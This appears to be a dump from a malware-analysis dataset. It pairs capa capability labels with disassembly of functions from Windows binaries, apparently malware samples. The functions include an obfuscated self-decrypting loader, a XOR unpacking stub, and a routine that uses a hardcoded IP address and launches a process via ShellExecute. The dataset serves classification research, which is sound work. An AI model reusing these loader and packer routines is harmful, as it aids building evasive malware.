joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41cd50
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x41cda8
mov edx, dword [ebp + 8]
push edx
call fcn.0041a570
add esp, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0xc]
jne 0x41cda8
mov dword [ebp - 8], 1
mov dword [ebp - 4], 1
cmp dword [ebp - 8], 0
jne 0x41ce1b
push 0x200000
call fcn.00401d1a
add esp, 4
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 0x200000
push str.1234
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0041dba0
add esp, 0x14
test eax, eax
je 0x41ce0f
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040fa00
add esp, 0xc
cmp eax, 1
jne 0x41ce08
mov dword [ebp - 4], 1
jmp 0x41ce0f
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x20]
push edx
call fcn.00403a3b
add esp, 4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x41d1b0
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x42b044]
xor eax, ebp
mov dword [ebp - 0x28], eax
push 0x64
push 0x42d6b0
push 0x67
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x42d5e8
push 0x6d
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_LoadStringW]
mov edx, dword [ebp + 8]
push edx
call fcn.0041b890
add esp, 4
mov eax, dword [ebp + 0x10]
push eax
push 0x42e1b8
call fcn.004013c4
add esp, 8
call fcn.0041a5f0
mov dword [0x42c0a0], eax
call fcn.0041bdc0
test eax, eax
je 0x41d226
call fcn.0041a2b0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0041ca70
add esp, 8
test eax, eax
jne 0x41d241
xor eax, eax
jmp 0x41d3bd
push 0x6d
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov dword [ebp - 8], eax
mov word [ebp - 0x230], 0
push 0x206
push 0
lea ecx, [ebp - 0x22e]
push ecx
call fcn.004012f0
add esp, 0xc
cmp dword [0x42de00], 0
jbe 0x41d2a4
movzx edx, word [0x42de04]
test edx, edx
jle 0x41d2a4
push str.218.54.31.226
mov eax, dword [0x42de00]
push eax
call fcn.0041a700
add esp, 8
mov cx, word [0x42de04]
mov word [0x42c64c], cx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
push edx
push 0x428fec
push 0x42e3c8
call fcn.00401000
add esp, 0xc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0041bca0
lea eax, [ebp - 0x230]
push eax
call fcn.0041ac30
add esp, 4
push 0x429004
push 0x104
lea ecx, [ebp - 0x230]
push ecx
call fcn.004013e0
add esp, 0xc
push 0x42e3c8
push 0x104
lea edx, [ebp - 0x230]
push edx
call fcn.004013e0
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x41d35d
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x429008
lea ecx, [ebp - 0x230]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.0041ce30
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0x28]
xor ecx, ebp
call fcn.004012d2
mov esp, ebp
pop ebp
ret 0x10
Function at 0x41dad0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x42b044]
xor eax, ebp
mov dword [ebp - 4], eax
mov word [ebp - 0x210], 0
push 0x206
push 0
lea eax, [ebp - 0x20e]
push eax
call fcn.004012f0
add esp, 0xc
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x214], 0xffffffff
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx edx, word [ebp - 0x210]
sub edx, 0x41
mov dword [ebp - 0x218], edx
lea eax, [ebp - 0x21c]
push eax
mov ecx, dword [ebp - 0x218]
push ecx
call fcn.0041a020
add esp, 8
mov edx, dword [ebp - 0x21c]
push edx
call fcn.0041a140
add esp, 4
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
jne 0x41db7a
xor eax, eax
jmp 0x41db8d
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x214]
push ecx
call fcn.0041d950
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012d2
mov esp, ebp
pop ebp
ret
Function at 0x100043fb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1000440a
pop dword [ebp - 0x18]
mov eax, 0xc72cfce7
add eax, 0x48d34723
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xb74cd610
add dword [ebp - 0x28], 0x97056f3b
mov dword [ebp - 0x24], 0x77b2fa3d
sub dword [ebp - 0x24], 0x457fadf8
mov dword [ebp - 0x20], 0x88ac18ad
sub dword [ebp - 0x20], 0x3c5fd47f
mov dword [ebp - 0x1c], 0x92b6fa1a
add dword [ebp - 0x1c], 0x6d4905e6
lea eax, [ebp - 0x28]
push eax
mov eax, 0xc3667ad5
add eax, 0x4c9b75cf
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xed7402a7
add dword [ebp - 0x28], 0x86fe66af
mov dword [ebp - 0x24], 0xf0320657
add dword [ebp - 0x24], 0x513a5b1e
mov dword [ebp - 0x20], 0x2c409a12
add dword [ebp - 0x20], 0x372ed25a
mov dword [ebp - 0x1c], 0x177bdb3c
sub dword [ebp - 0x1c], 0x177bdb3c
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xdc16cd6d
sub eax, 0xcc14dcd1
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3c26d
push 0
call eax
mov ecx, 0x4c48
xor esi, esi
add esi, eax
mov edi, 0x67e834b7
sub edi, 0x57e59ab7
add edi, dword [ebp - 0x18]
mov ebx, 0xbfe4d38e
sub dword [ebp - 4], 0x70dea1c9
mov edx, dword [edi]
xor dword [ebp - 4], 0xa7b01e63
add edx, ebx
xor dword [ebp - 0xc], edx
mov dword [esi], edx
add dword [ebp - 4], 0xf0b90791
add esi, 4
add edi, 0x360e3817
sub edi, 0x360e3813
loop 0x10004522
add eax, 0x88c13136
add eax, 0x773ff2bd
xor ebx, ebx
add ebx, eax
add eax, 0xf1c69e88
add eax, 0xe39617d
mov ecx, 0x49ea0ff2
add ecx, 0xc615f00e
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x1001cc37
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp byte [esi + 0x2d], 0
jne 0x1001ccba
push ebx
mov ebx, dword [ebp + 0x10]
push edi
push 0
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp + 0xc]
push dword [esi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov edi, dword [ebp + 0x10]
cmp edi, ebx
je 0x1001cc84
mov byte [esi + 0x2d], 0xff
test edi, edi
je 0x1001cc84
cmp edi, ebx
jge 0x1001cc84
mov eax, dword [ebp + 0xc]
mov ecx, ebx
sub ecx, edi
push ecx
add eax, edi
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp dword [esi + 0x18], 0
je 0x1001ccb4
add dword [esi + 0x1c], ebx
cmp dword [esi + 0x1c], 0xffff
jle 0x1001ccb4
xor eax, eax
mov word [esi + 0x1e], ax
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
mov ecx, dword [esi + 0x18]
mov edx, dword [ecx]
push 1
push dword [esi + 0x20]
push eax
push ecx
call dword [edx + 0xc]
mov edi, dword [ebp + 0x10]
mov eax, edi
pop edi
pop ebx
jmp 0x1001cccc
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
pop esi
pop ebp
ret 0xc
Function at 0x1001cf62
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
cmp byte [0x100269c0], al
je 0x1001cf99
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001cffd
push 0x103
push eax
mov byte [ebp - 0x108], al
lea eax, [ebp - 0x107]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.100043fb
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.100043fb
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
push ebx
lea eax, [ebp - 0x108]
push eax
call fcn.100043fb
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001ddeb
leave
ret 0x10

Function at 0x1001d00e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100269c0], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001d03a
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001d06b
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001d069
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.100043fb
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001d06b
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1001ddeb
leave
ret 8

Function at 0x1001d106
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100269c0], 0
mov eax, dword [ebp + 8]
je 0x1001d12e
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001d148
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.100043fb
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.1001ddeb
leave
ret 4

Function at 0x1001ddeb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100268b0]
jne 0x1001ddf5
repz ret
jmp fcn.1001e62c

Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0xa03270
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0xa1b038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x21c], 0
cmp dword [ebp + 8], 0
je 0xa03299
cmp dword [ebp + 0xc], 0
jne 0xa032a3
jmp 0xa033ff
cmp dword [ebp + 0x10], 0
je 0xa032f8
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x214], eax
mov ecx, dword [ebp - 0x214]
add ecx, 2
mov dword [ebp - 0x224], ecx
mov edx, dword [ebp - 0x214]
mov ax, word [edx]
mov word [ebp - 0x216], ax
add dword [ebp - 0x214], 2
cmp word [ebp - 0x216], 0
jne 0xa032c1
mov ecx, dword [ebp - 0x214]
sub ecx, dword [ebp - 0x224]
sar ecx, 1
mov dword [ebp - 0x220], ecx
jne 0xa03302
jmp 0xa033ff
xor edx, edx
mov word [ebp - 0x20c], dx
push 0x206
push 0
lea eax, [ebp - 0x20a]
push eax
call fcn.00a0b440
add esp, 0xc
cmp dword [ebp + 0x14], 0
je 0xa0333b
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [0xa1501c]
jmp 0xa03383
cmp dword [0xa1bf08], 3
jne 0xa03371
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [0xa15020]
push 0xa19aac
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00a079ef
add esp, 0xc
jmp 0xa03383
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [0xa1501c]
mov edx, dword [ebp + 0x10]
push edx
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00a079ef
add esp, 0xc
mov dword [ebp - 0x210], 0
push 0xa19ab0
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x210]
push edx
call fcn.00a07be6
add esp, 0xc
cmp dword [ebp - 0x210], 0
jne 0xa033cd
jmp 0xa033ff
mov eax, dword [ebp - 0x210]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00a07eb8
add esp, 0x10
mov eax, dword [ebp - 0x210]
push eax
call fcn.00a07fd0
add esp, 4
mov dword [ebp - 0x21c], 1
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00a07774
mov esp, ebp
pop ebp
ret

Function at 0xa03610
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0xa1b038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x214], 0
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00a0b440
add esp, 0xc
mov dword [ebp - 0x210], 0
cmp dword [ebp + 8], 0
je 0xa03662
cmp dword [ebp + 0xc], 0
jne 0xa0366c
jmp 0xa036ed
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [0xa1501c]
push 0xa19ad0
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00a079ef
add esp, 0xc
push 0xa19aec
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x210]
push edx
call fcn.00a07be6
add esp, 0xc
cmp dword [ebp - 0x210], 0
je 0xa036e3
mov eax, dword [ebp - 0x210]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00a0819e
add esp, 0x10
mov eax, dword [ebp - 0x210]
push eax
call fcn.00a07fd0
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00a07774
mov esp, ebp
pop ebp
ret
Function at 0xa05180
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0xa1b038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
push 0xa19cf8
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00a07be6
add esp, 0xc
test eax, eax
je 0xa051be
xor eax, eax
jmp 0xa0529f
mov dword [ebp - 0x10], 0
push 2
push 0
mov edx, dword [ebp - 8]
push edx
call fcn.00a089c0
add esp, 0xc
mov eax, dword [ebp - 8]
push eax
call fcn.00a08d98
add esp, 4
mov dword [ebp - 0x10], eax
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.00a089c0
add esp, 0xc
mov edx, dword [ebp - 0x10]
add edx, dword [ebp + 0x10]
push edx
call fcn.00a08867
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.00a07eb8
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.00a07fd0
add esp, 4
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x10]
push edx
call fcn.00a052b0
add esp, 8
push 0xa19d00
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00a07be6
add esp, 0xc
test eax, eax
je 0xa05258
xor eax, eax
jmp 0xa0529f
mov edx, dword [ebp - 0x10]
add edx, dword [ebp + 0x10]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.00a0819e
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.00a07fd0
add esp, 4
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0xc], 0
je 0xa0529c
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00a088f9
add esp, 4
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00a07774
mov esp, ebp
pop ebp
ret
Function at 0xa075b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00a0e640
mov eax, dword [0xa1b038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x100c], 0
mov dword [ebp - 0x1010], 0
push 0xa19db0
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x100c]
push ecx
call fcn.00a07be6
add esp, 0xc
cmp dword [ebp - 0x100c], 0
jne 0xa07603
xor eax, eax
jmp 0xa076b8
push 0
push 4
lea edx, [ebp - 0x1008]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [0xa151e4]
cmp eax, 4
je 0xa07626
xor eax, eax
jmp 0xa076b8
mov edx, dword [ebp - 0x1010]
cmp edx, dword [ebp - 0x1008]
jae 0xa07692
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [0xa151e4]
mov dword [ebp - 0x1014], eax
cmp dword [ebp - 0x1014], 0
jne 0xa0765f
jmp 0xa07692
mov eax, dword [ebp - 0x100c]
push eax
mov ecx, dword [ebp - 0x1014]
push ecx
push 1
lea edx, [ebp - 0x1004]
push edx
call fcn.00a0819e
add esp, 0x10
mov eax, dword [ebp - 0x1010]
add eax, dword [ebp - 0x1014]
mov dword [ebp - 0x1010], eax
jmp 0xa07626
mov ecx, dword [ebp - 0x100c]
push ecx
call fcn.00a07fd0
add esp, 4
mov edx, dword [ebp - 0x1010]
cmp edx, dword [ebp - 0x1008]
jae 0xa076b3
xor eax, eax
jmp 0xa076b8
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00a07774
mov esp, ebp
pop ebp
ret
Function at 0x408c44
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x408ce1
push ebx
push esi
call fcn.00408c0d
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00408b56
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x408c8e
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408ce0
push edi
push eax
call fcn.00409844
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x408cae
call fcn.0040777e
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408cdf
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00408b56
add esp, 0x20
test eax, eax
jne 0x408ccd
push edi
call fcn.0040777e
jmp 0x408cd5
push ebx
call fcn.0040777e
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x409fca
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4112c8
push 0x4112c0
push str.FlsAlloc
push 0x1e
call fcn.00409e88
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409ffe
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f10c]
call esi
jmp 0x40a004
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40a048
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4112d8
push 0x4112d0
push str.FlsGetValue
push 0x20
call fcn.00409e88
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40a07f
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f10c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40e980
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40e9ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40e9ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4023f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xa1844
call fcn.00403a70
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
mov dword [ebp - 0xa1820], 0
push eax
push eax
push eax
mov word [ebp - 0xa180c], ax
lea eax, [ebp - 0xa181c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0xa1820]
mov dword [ebp - 0xa181c], 0x10001
push eax
mov dword [ebp - 0xa1818], 0x5622
mov dword [ebp - 0xa1814], 0x5622
mov dword [ebp - 0xa1810], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0xa17fc
lea eax, [ebp - 0xa1808]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
mov edx, eax
mov cl, al
shl cl, 4
mov ebx, eax
shr edx, 8
and dl, cl
shr ebx, 4
mov cl, al
shl cl, 2
xor dl, cl
mov cl, al
add cl, cl
xor dl, bl
and cl, bl
or dl, cl
mov byte [ebp + eax - 0xa1808], dl
inc eax
cmp eax, 0xa17fc
jb 0x402474
lea eax, [ebp - 0xa1808]
mov dword [ebp - 0xa183c], 0xa17fc
mov dword [ebp - 0xa1840], eax
lea eax, [ebp - 0xa1840]
push 0x20
push eax
push dword [ebp - 0xa1820]
mov dword [ebp - 0xa1838], 0
mov dword [ebp - 0xa1834], 0
mov dword [ebp - 0xa1830], 0
mov dword [ebp - 0xa182c], 0
mov dword [ebp - 0xa1828], 0
mov dword [ebp - 0xa1824], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0xa1840]
push eax
push dword [ebp - 0xa1820]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0xa1840]
push eax
push dword [ebp - 0xa1820]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0xa1820]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00402dcb
mov esp, ebp
pop ebp
ret
Function at 0x402560
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x50c40
call fcn.00403a70
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x50c20], 0
push eax
push eax
push eax
mov word [ebp - 0x50c0c], ax
lea eax, [ebp - 0x50c1c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x50c20]
mov dword [ebp - 0x50c1c], 0x10001
push eax
mov dword [ebp - 0x50c18], 0x2b11
mov dword [ebp - 0x50c14], 0x2b11
mov dword [ebp - 0x50c10], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x50bfe
lea eax, [ebp - 0x50c08]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
mov dl, al
mov cl, al
shl dl, 4
add cl, cl
and dl, al
xor dl, cl
mov ecx, eax
shr ecx, 4
and dl, cl
mov cl, al
shl cl, 2
xor dl, cl
xor dl, 7
mov byte [ebp + eax - 0x50c08], dl
inc eax
cmp eax, 0x50bfe
jb 0x4025e3
lea eax, [ebp - 0x50c08]
mov dword [ebp - 0x50c3c], 0x50bfe
mov dword [ebp - 0x50c40], eax
lea eax, [ebp - 0x50c40]
push 0x20
push eax
push dword [ebp - 0x50c20]
mov dword [ebp - 0x50c38], 0
mov dword [ebp - 0x50c34], 0
mov dword [ebp - 0x50c30], 0
mov dword [ebp - 0x50c2c], 0
mov dword [ebp - 0x50c28], 0
mov dword [ebp - 0x50c24], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x50c40]
push eax
push dword [ebp - 0x50c20]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x50c40]
push eax
push dword [ebp - 0x50c20]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x50c20]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402dcb
mov esp, ebp
pop ebp
ret
Function at 0x402990
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x50c40
call fcn.00403a70
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x50c20], 0
push eax
push eax
push eax
mov word [ebp - 0x50c0c], ax
lea eax, [ebp - 0x50c1c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x50c20]
mov dword [ebp - 0x50c1c], 0x10001
push eax
mov dword [ebp - 0x50c18], 0x2b11
mov dword [ebp - 0x50c14], 0x2b11
mov dword [ebp - 0x50c10], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x50bfe
lea eax, [ebp - 0x50c08]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
mov edx, eax
mov ecx, eax
shr ecx, 1
shr edx, 8
and dl, cl
mov ecx, eax
shr ecx, 3
and cl, 0x17
xor dl, cl
movsx ecx, al
movsx edx, dl
imul edx, ecx
mov byte [ebp + eax - 0x50c08], dl
inc eax
cmp eax, 0x50bfe
jb 0x402a13
lea eax, [ebp - 0x50c08]
mov dword [ebp - 0x50c3c], 0x50bfe
mov dword [ebp - 0x50c40], eax
lea eax, [ebp - 0x50c40]
push 0x20
push eax
push dword [ebp - 0x50c20]
mov dword [ebp - 0x50c38], 0
mov dword [ebp - 0x50c34], 0
mov dword [ebp - 0x50c30], 0
mov dword [ebp - 0x50c2c], 0
mov dword [ebp - 0x50c28], 0
mov dword [ebp - 0x50c24], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x50c40]
push eax
push dword [ebp - 0x50c20]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x50c40]
push eax
push dword [ebp - 0x50c20]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x50c20]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402dcb
mov esp, ebp
pop ebp
ret
Function at 0x4035fb
Capabilities:
